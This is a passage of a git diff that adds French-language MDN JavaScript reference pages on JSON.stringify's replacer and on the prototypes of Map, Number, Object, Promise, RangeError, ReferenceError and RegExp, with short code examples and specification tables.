Une fonction qui modifie le comportement de la conversion ou bien un tableau d'objets String et Number qui sera utilisé comme une liste de propriétés de l'objet valeur à inclure dans la chaîne JSON. Si cette valeur est nulle ou n'est pas fournie, toutes les propriétés de l'objet seront inclues dans la chaîne résultante.
+
espace
+
Un objet String ou Number utilisé pour insérer des espaces dans la chaîne JSON afin qu'elle soit plus lisible. Si c'est un objet Number, il indique le nombre d'espaces à insérer. Ce nombre est limité à 10. Les valeurs inférieures à 1 indiquent qu'aucun espace ne sera utilisé, les valeurs supérieures à 10 seront ramenées à 10. Si cet objet est une String, la chaîne de caractères (ou les 10 premiers caractères si la chaîne est plus longue) à utiliser comme blanc. Si ce paramètre n'est pas fourni (ou vaut null), aucun blanc ne sera utilisé.
+
+ +

Le paramètre de remplacement

+ +

La paramètre remplacement peut être une fonction ou un tableau. Si c'est une fonction, elle prendra deux paramètres : la clé et la valeur à être convertie en chaîne de caractères. L'objet pour lequel la clé a été trouvée sera fourni comme paramètre this de la fonction de remplacement. Initialement elle est appelée avec une clé vide représentant l'objet à transformer en chaîne et est ensuite appelé pour chacune des propriétés de l'objet ou du tableau à convertir. Elle doit renvoyer la valeur à ajouter à la chaîne de caractère JSON comme suit :

+ +
    +
  • Si on renvoie un Number, la chaîne correspondante à ce nombre est utilisée pour la valeur de la propriété de à ajouter à la chaîne JSON.
    • +
  • Si on renvoie une String, cette chaîne est utilisée comme la valeur de la propriété à ajouter à la chaîne JSON.
    • +
  • Si on renvoie un Boolean, "true" ou "false" est utilisé comme la valeur de la propriété à ajouter à la chaîne JSON.
    • +
  • Si on renvoie n'importe quel autre objet, il est alors transformé en chaîne JSON de façon récursive en appelant la même fonction de remplacement sur chacune de ses propriétés sauf si l'objet est une fonction, auquel cas on n'ajoute rien à la chaîne JSON.
    • +
  • Si la valeur de retour est undefined, la propriété n'est pas incluse dans la chaîne résultante.
    • +
+ +
Note : Il est impossible d'utiliser la fonction de remplacement pour retirer des valeurs d'un tableau. Si la valeur undefined ou une fonction est renvoyée  : null sera renvoyé.
+ +

Exemple

+ +
function censure(key, value) {
+  if (typeof value === "string") {
+    return undefined;
+  }
+  return value;
+}
+
+var toto = {fondation: "Mozilla", modèle: "box", semaine: 45, transport: "voiture", mois: 7};
+var chaineJSON = JSON.stringify(toto, censure);
+
+ +

La chaîne JSON produite sera {"semaine":45,"mois":7}.

+ +

Si remplacement est un tableau, les valeurs du tableau indiquent les noms des propriétés de l'objet à inclure dans la chaîne JSON.

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/map/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/map/index.html new file mode 100644 index 0000000000..48a00f9135 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/map/index.html @@ -0,0 +1,89 @@ +--- +title: Map.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Map/prototype +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map +translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype +--- +
{{JSRef}}
+ +

La propriété Map.prototype représente le prototype du constructeur {{jsxref("Map")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de {{jsxref("Map")}} héritent de {{jsxref("Map.prototype")}}. Le prototype du constructeur permet d'ajouter des propriétés ou des méthodes à toutes les instances de Map.

+ +

Propriétés

+ +
+
Map.prototype.constructor
+
Renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera la fonction {{jsxref("Map")}}.
+
{{jsxref("Map.prototype.size")}}
+
Renvoie le nombre de paires de clé-valeur contenues dans l'objet Map.
+
+ +

Méthodes

+ +
+
{{jsxref("Map.prototype.clear()")}}
+
Supprime toutes les paires de clé-valeur de l'objet Map.
+
{{jsxref("Map.delete", "Map.prototype.delete(clé)")}}
+
Renvoie true si un élément contenu dans l'objet Map existait avec cette clé et a été retiré. Si aucun élément n'existe dans l'objet Map avec cette clé, c'est false qui est renvoyé. Map.prototype.has(clé) renverra false après l'exécution de cette méthode.
+
{{jsxref("Map.prototype.entries()")}}
+
Renvoie un nouvel objet Iterator qui contient un tableau de [clé, valeur] pour chacun des éléments de l'objet Map, dans leur ordre d'insertion.
+
{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}
+
Appelle la fonction callbackFn pour chaque paire clé-valeur de l'objet Map dans leur ordre d'insertion. Si un paramètre thisArg est fourni, il sera utilisé comme valeur pour this pour chaque appel de la fonction de retour (callback).
+
{{jsxref("Map.get", "Map.prototype.get(clé)")}}
+
Renvoie la valeur associée à la clé et undefined s'il n'y en a pas.
+
{{jsxref("Map.has", "Map.prototype.has(clé)")}}
+
Renvoie un booléen indiquant si une valeur associée à cette clé a été trouvée dans l'objet Map.
+
{{jsxref("Map.prototype.keys()")}}
+
Renvoie un nouvel objet Iterator contenant les clés de chaque élément de l'objet Map dans leur ordre d'insertion.
+
{{jsxref("Map.set", "Map.prototype.set(clé, valeur)")}}
+
Définit la valeur d'un clé pour l'objet Map. Renvoie undefined.
+
{{jsxref("Map.prototype.values()")}}
+
Renvoie un nouvel objet Iterator contenant les valeurs de chaque élément de l'objet Map dans leur ordre d'insertion.
+
{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
+
Renvoie une nouvel objet Iterator qui contient un tableau de [clé, valeur] pour chaque élément de l'objet Map dans leur ordre d'insertion.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/number/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/number/index.html new file mode 100644 index 0000000000..0cb02e939e --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/number/index.html @@ -0,0 +1,91 @@ +--- +title: Number.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Number/prototype +tags: + - JavaScript + - Number + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number +translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype +--- +
{{JSRef}}
+ +

La propriété Number.prototype représente le prototype du constructeur {{jsxref("Number")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de {{jsxref("Number")}} héritent de Number.prototype. On peut modifier l'objet prototype du constructeur {{jsxref("Number")}} afin que la modification affecte chacune des instances de Number.

+ +

Propriétés

+ +
+
Number.prototype.constructor
+
Renvoie la fonction qui a créé l'instance de cette objet. Par défaut, ce sera l'objet {{jsxref("Number")}}.
+
+ +

Méthodes

+ +
+
{{jsxref("Number.prototype.toExponential()")}}
+
Renvoie une chaîne de caractères qui représente le nombre en notation exponentielle.
+
{{jsxref("Number.prototype.toFixed()")}}
+
Renvoie une chaîne de caractères qui représente le nombre en représentation à point fixe.
+
{{jsxref("Number.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères qui représente le nombre en tenant compte de la locale. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
+
{{jsxref("Number.prototype.toPrecision()")}}
+
Renvoie une chaîne de caractères représentant le nombre en représentation à point fixe, selon une précision donnée ou en notation exponentielle.
+
{{jsxref("Number.prototype.toSource()")}} {{ Non-standard_inline() }}
+
Renvoie un litéral objet représentant l'objet Number fourni. On peut utiliser cette valeur afin de créer un nouvel objet. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("Number.prototype.toString()")}}
+
Renvoie une chaîne de caractères qui représente l'objet fourni selon une base donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Number.prototype.valueOf()")}}
+
Renvoie une valeur primitive de l'objet fourni. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/object/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/object/index.html new file mode 100644 index 0000000000..6eb405ace4 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/object/index.html @@ -0,0 +1,176 @@ +--- +title: Object.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Object/prototype +tags: + - JavaScript + - Object + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object +translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype +--- +
{{JSRef}}
+ +

La propriété Object.prototype représente le prototype de {{jsxref("Object")}}.

+ +

{{js_property_attributes(0, 0, 0)}}

+ +

Description

+ +

La quasi-totalité des objets JavaScript descendent de {{jsxref("Object")}} ; un objet classique héritera donc des méthodes et propriétés de Object.prototype. Comme pour toutes les propriétés héritées, il est possible de surcharger ces propriétés. Par exemple, d'autres prototypes de constructeurs surchargent la propriété constructor et fournissent leur propre méthode {{jsxref("Object.prototype.toString()", "toString()")}}.

+ +

Cependant, on peut volontairement créer des objets qui ne descendent pas de {{jsxref("Object")}} (par exemple avec {{jsxref("Object.create", "Object.create(null)")}}) ou les modifier afin que ce ne soit plus le cas (par exemple avec la méthode {{jsxref("Object.setPrototypeOf()")}}).

+ +

Les modifications apportées aux propriétés du prototype d'Object impactent donc tous ces objets via la chaîne de prototypes, sauf si ces propriétés sont surchargées. Ce puissant mécanisme permet ainsi de modifier le comportement des objets ou d'y ajouter des fonctionnalités.

+ +

Propriétés

+ +
+
{{jsxref("Object.prototype.constructor")}}
+
Définit la fonction qui a créé le prototype d'un objet.
+
{{jsxref("Object.prototype.proto","Object.prototype.__proto__")}} {{non-standard_inline}}
+
Pointe vers l'objet qui a été utilisé comme prototype lors de l'instanciation de l'objet.
+
{{jsxref("Object.prototype.noSuchMethod","Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
+
Permet de définir une fonction qui sera exécutée lors d'une tentative d'accès à une méthode non-définie pour l'objet.
+
{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}
+
UTilisée pour renvoyer le nombre de propriétés énumérables sur un objet défini par l'utilisateur. Cette propriété a été retirée.
+
{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}
+
Utilisée pour faire référence au contexte de l'objet. Cette propriété a été retirée.
+
+ +

Méthodes

+ +
+
{{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Associe une fonction à une propriété qui, lorsqu'on y accède, exécute la fonction et renvoie la valeur de retour.
+
{{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Associe une fonction à une propriété qui, lorsqu'on la définit, exécute la fonction qui modifie la propriété.
+
{{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Renvoie la fonction associée à la propriété définie par la méthode {{jsxref("Object.defineGetter", "__defineGetter__")}}.
+
{{jsxref("Object.prototype.lookupSetter()","Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Renvoie la fonction associée avec la propriété définie par la méthode {{jsxref("Object.defineSetter", "__defineSetter__")}}.
+
{{jsxref("Object.prototype.hasOwnProperty()")}}
+
Renvoie un booléen qui indique si l'objet contient la propriété donnée comme une propriété propre (non héritée via la chaîne de prototypes).
+
{{jsxref("Object.prototype.isPrototypeOf()")}}
+
Renvoie un booléen qui indique si l'objet courant fait partie de la chaîne de prototype de l'objet passé en argument.
+
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
+
Renvoie un booléen qui indique si l'attribut ECMAScript interne [[Enumerable]] est défini.
+
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
+
Renvoie une chaîne de caractères qui est un littéral objet représentant l'objet pour lequel la méthode a été appelée. La valeur de retour peut être utilisée pour créer un nouvel objet.
+
{{jsxref("Object.prototype.toLocaleString()")}}
+
Appelle la méthode {{jsxref("Object.toString", "toString()")}}.
+
{{jsxref("Object.prototype.toString()")}}
+
Renvoie une chaîne de caractères représentant l'objet.
+
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
+
Supprime un point d'arrêt conditionnel placé sur une propriété de l'objet.
+
{{jsxref("Object.prototype.valueOf()")}}
+
Renvoie la valeur primitive de l'objet.
+
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
+
Ajoute un point d'arrêt conditionnel sur une propriété de l'objet.
+
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
+
Utilisée pour évaluer une chaîne de caractères étant du code JavaScript dans le contexte de l'objet. Cette méthode a été retirée.
+
+ +

Exemples

+ +

Javascript se base sur un modèle prototypal et non pas classique (au sens « modèle à base de classes »). Le prototype d'un objet est utilisé pour fournir de façon dynamique des propriétés aux objets qui héritent du prototype.

+ +

Par exemple :

+ +
var Personne = function(nom) {
+  this.name = nom;
+  this.peutParler = true;
+  this.salutation = function() {
+    if (this.peutParler) {
+      console.log('Bonjour, je suis ' + this.nom);
+    }
+  };
+};
+
+var Employe = function(nom, titre) {
+  this.nom = nom;
+  this.titre = titre;
+  this.salutation = function() {
+    if (this.peutParler) {
+      console.log("Bonjour, je suis " + this.nom + ", le " + this.titre);
+    }
+  };
+};
+Employe.prototype = new Personne();
+
+var Client = function(nom) {
+  this.nom = nom;
+};
+Client.prototype = new Personne();
+
+var Mime = function(nom) {
+  this.nom = nom;
+  this.peutParler = false;
+};
+Mime.prototype = new Personne();
+
+var bob = new Employe('Bob', 'bricoleur');
+var joe = new Client('Joe');
+var rg = new Employe('Red Green', 'réparateur');
+var mike = new Client('Mike');
+var mime = new Mime('Mime');
+bob.salutation();
+// Bonjour, je suis Bob, le bricoleur
+
+joe.salutation();
+// Bonjour, je suis Joe
+
+rg.salutation();
+// Bonjour, je suis Red Green, le réparateur
+
+mike.salutation();
+// Bonjour, je suis Mike
+
+mime.salutation();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.prototype")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/object/tosource/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/object/tosource/index.html new file mode 100644 index 0000000000..cbd68198f6 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/object/tosource/index.html @@ -0,0 +1,26 @@ +--- +title: toSource +slug: toSource +tags: + - Désambiguation +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource +translation_of_original: toSource +--- +
toSource est une méthode de différents objets JavaScript :
+ +
    +
  • toSource — méthode de l'objet Array.
    • +
  • toSource — méthode de l'objet Boolean.
    • +
  • toSource — méthode de l'objet Date.
    • +
  • toSource — méthode de l'objet Function.
    • +
  • toSource — méthode de l'objet Number.
    • +
  • toSource — méthode de l'objet Object.
    • +
  • toSource — méthode de l'objet RegExp.
    • +
  • toSource — méthode de l'objet String.
    • +
+ +

Ceci est une page de désambiguation — une aide à la navigation qui liste une série de pages qui devraient partager le même titre. Si un lien provenant d'un article mène ici, n'hésitez pas à revenir à celui-ci pour le faire pointer vers la page concernée.

+ +
+

{{ languages( { "en": "en/ToSource" } ) }}

+
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/promise/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/promise/index.html new file mode 100644 index 0000000000..9a6146375f --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/promise/index.html @@ -0,0 +1,73 @@ +--- +title: Promise.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Promise/prototype +tags: + - JavaScript + - Promise + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise +translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype +--- +
{{JSRef}}
+ +

La propriété Promise.prototype représente le prototype pour le constructeur {{jsxref("Promise")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de {{jsxref("Promise")}} héritent de {{jsxref("Promise.prototype")}}. On peut utiliser le prototype du constructeur afin d'ajouter des propriétés et/ou des méthodes à chacune des instances de Promise.

+ +

Propriétés

+ +
+
Promise.prototype.constructor
+
Renvoie la fonction qui a créé le prototype d'une instance. Ce sera la fonction {{jsxref("Promise")}} par défaut.
+
+ +

Méthodes

+ +
+
{{jsxref("Promise.prototype.catch()")}}
+
Ajoute une fonction callback à utiliser en cas de rejet de la promesse. Elle renvoie une nouvelle promesse qui est résolue avec la valeur de retour du callback s'il est appelé ou avec la valeur de résolution initiale si la promesse est tenue (et non rejetée).
+
{{jsxref("Promise.prototype.then()")}}
+
Ajoute des fonctions à utiliser en cas de résolution ou de rejet de la promesse et renvoie une nouvelle promesse qui est résolue avec la valeur de retour de la fonction utilisée en fonction de la résolution ou non.
+
{{jsxref("Promise.prototype.finally()")}}
+
Ajoute une fonction à la promesse et renvoie une nouvelle promesse qui est résolue lorsque la promesse originale est résolue. La fonction ajoutée est appelée lorsque la promesse est résolue, qu'elle soit tenue ou rejetée.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/rangeerror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/rangeerror/index.html new file mode 100644 index 0000000000..1af96393bc --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/rangeerror/index.html @@ -0,0 +1,92 @@ +--- +title: RangeError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/RangeError/prototype +tags: + - Error + - JavaScript + - Propriété + - Prototype + - RangeError + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/RangeError +translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +--- +
{{JSRef}}
+ +

La propriété RangeError.prototype représente le prototype du constructeur {{jsxref("RangeError")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Chacune des instances de {{jsxref("RangeError")}} hérite de RangeError.prototype. Le prototype peut être utilisé afin d'ajouter des propriétés et/ou des méthodes à toutes les instances.

+ +

Propriétés

+ +
+
RangeError.prototype.constructor
+
Définit la fonction qui a créé le prototype de l'instance.
+
{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}
+
Le nom de l'erreur. Bien que ECMA-262 spécifie que {{jsxref("RangeError")}} devrait fournir sa propre propriété message, dans SpiderMonkey, il l'hérite depuis {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}
+
Le nom de l'erreur, hérité depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}
+
Le chemin vers le fichier qui a causé l'erreur, hérité depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}
+
Le numéro de la ligne de code dans le fichier qui a causé l'erreur, hérité depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}
+
La position du code (colonne) dans la ligne de code qui a causé l'erreur, héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}
+
Pile d'appels, héritée depuis {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que l'objet prototype {{jsxref("RangeError")}} ne possède pas de méthodes propres, les instances de RangeError hériteront de certaines méthodes via la chaîne de prototypes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Défini comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Défini comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Défini comme NativeError.prototype.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.RangeError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/referenceerror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/referenceerror/index.html new file mode 100644 index 0000000000..bdbf50f34c --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/referenceerror/index.html @@ -0,0 +1,92 @@ +--- +title: ReferenceError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype +tags: + - Error + - JavaScript + - Propriété + - Prototype + - Reference + - ReferenceError +translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError +translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +--- +
{{JSRef}}
+ +

La propriété ReferenceError.prototype représente le prototype du constructeur {{jsxref("ReferenceError")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("ReferenceError")}} héritent de ReferenceError.prototype. Le prototype peut être utilisé pour ajouter des propriétés ou des méthodes à chacune des instances.

+ +

Propriétés

+ +
+
ReferenceError.prototype.constructor
+
Définit la fonction utilisée pour créer une instance du prototype.
+
{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}
+
Le message de l'erreur. Bien que ECMA-262 spécifie que ReferenceError devrait posséder une propriété message en propre, SpiderMonkey lui fait hériter de {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}
+
Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}
+
Le chemin du fichier à l'origine de cette erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}
+
Le numéro de la ligne dans le fichier à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}
+
Le numéro de la colonne parmi la ligne à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}
+
La pile d'appels, héritée de {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que l'objet prototype pour {{jsxref("ReferenceError")}} ne contienne aucune méthode propre, les instances de ReferenceError héritent de certaines méthodes via la chaîne de prototypes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Défini comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Défini comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Défini comme NativeError.prototype.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.ReferenceError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/regexp/index.html new file mode 100644 index 0000000000..7a507e9699 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/regexp/index.html @@ -0,0 +1,119 @@ +--- +title: RegExp.prototype +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/prototype +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +--- +
{{JSRef}}
+ +

La propriété RegExp.prototype représente l'objet prototype pour le constructeur {{jsxref("RegExp")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Voir la page {{jsxref("RegExp")}} qui décrit les instances de RegExp. Chaque instance de RegExp hérite de RegExp.prototype. Toute modification à l'objet prototype est propagée aux instances de RegExp.

+ +

Propriétés

+ +

Voir également la page sur les propriétés dépréciées de RegExp.

+ +

On notera que plusieurs des propriétés de {{jsxref("RegExp")}} ont un nom court et un nom long (semblable aux noms Perl). Le nom court et le nom long font référence à la même propriété. La modélisation des expressions rationnelles JavaScript est basée sur celle de Perl, un autre langage de programmation.

+ +
+
RegExp.prototype.constructor
+
Définit la fonction qui crée le prototype d'un objet.
+
{{jsxref("RegExp.prototype.flags")}}
+
Une chaîne qui contient les drapeaux (flags) utilisés pour l'objet RegExp.
+
{{jsxref("RegExp.prototype.dotAll")}}
+
Indique si . peut correspondre à des sauts de ligne.
+
{{jsxref("RegExp.prototype.global")}}
+
Définit si l'expression rationnelle doit relever la première correspondance d'une chaîne ou toutes les correspondances.
+
{{jsxref("RegExp.prototype.ignoreCase")}}
+
Définit si l'expression rationnelle doit ignorer la casse ou non pour détecter une correspondance.
+
{{jsxref("RegExp.prototype.multiline")}}
+
Définit si la recherche de la correspondance s'effectue sur plusieurs lignes ou sur une seule.
+
{{jsxref("RegExp.prototype.source")}}
+
Le texte du motif (pattern) à rechercher.
+
{{jsxref("RegExp.prototype.sticky")}}
+
Définit si la recherche s'effectue uniquement à partir de lastIndex ou non.
+
{{jsxref("RegExp.prototype.unicode")}}
+
Cette propriété indique si les fonctionnalités Unicode sont activées ou non.
+
+ +

Méthodes

+ +
+
{{jsxref("Regexp.prototype.compile()")}}{{deprecated_inline}}
+
(Re)compile une expression rationnelle lors de l'exécution d'un script.
+
{{jsxref("RegExp.prototype.exec()")}}
+
Exécute une recherche de correspondance sur la chaîne de caractères fournie en paramètre.
+
{{jsxref("RegExp.prototype.test()")}}
+
Teste s'il y a une correspondance dans la chaîne de caractères fournie en paramètre.
+
{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
+
Teste une correspondance sur une chaîne de caractères donnée et renvoie le résultat du test.
+
{{jsxref("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}
+
Renvoie l'ensemble des correspondances d'une expression rationnelle sur une chaîne.
+
{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
+
Remplace les correspondances d'une chaîne de caractères avec une nouvelle sous-chaînes.
+
{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
+
Recherche la correspondance dans une chaîne de caractères donnée et renvoie la position où est trouvé le motif.
+
{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
+
Découpe une chaîne de caractères en un tableau de sous-chaînes.
+
{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}
+
Renvoie un littéral objet représentant l'objet spécifié. Cette méthode peut être utilisée pour créer un nouvel objet. Elle surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("RegExp.prototype.toString()")}}
+
Renvoie une chaîne de caractères représentant l'objet spécifié. Cette méthode surcharge {{jsxref("Object.prototype.toString()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

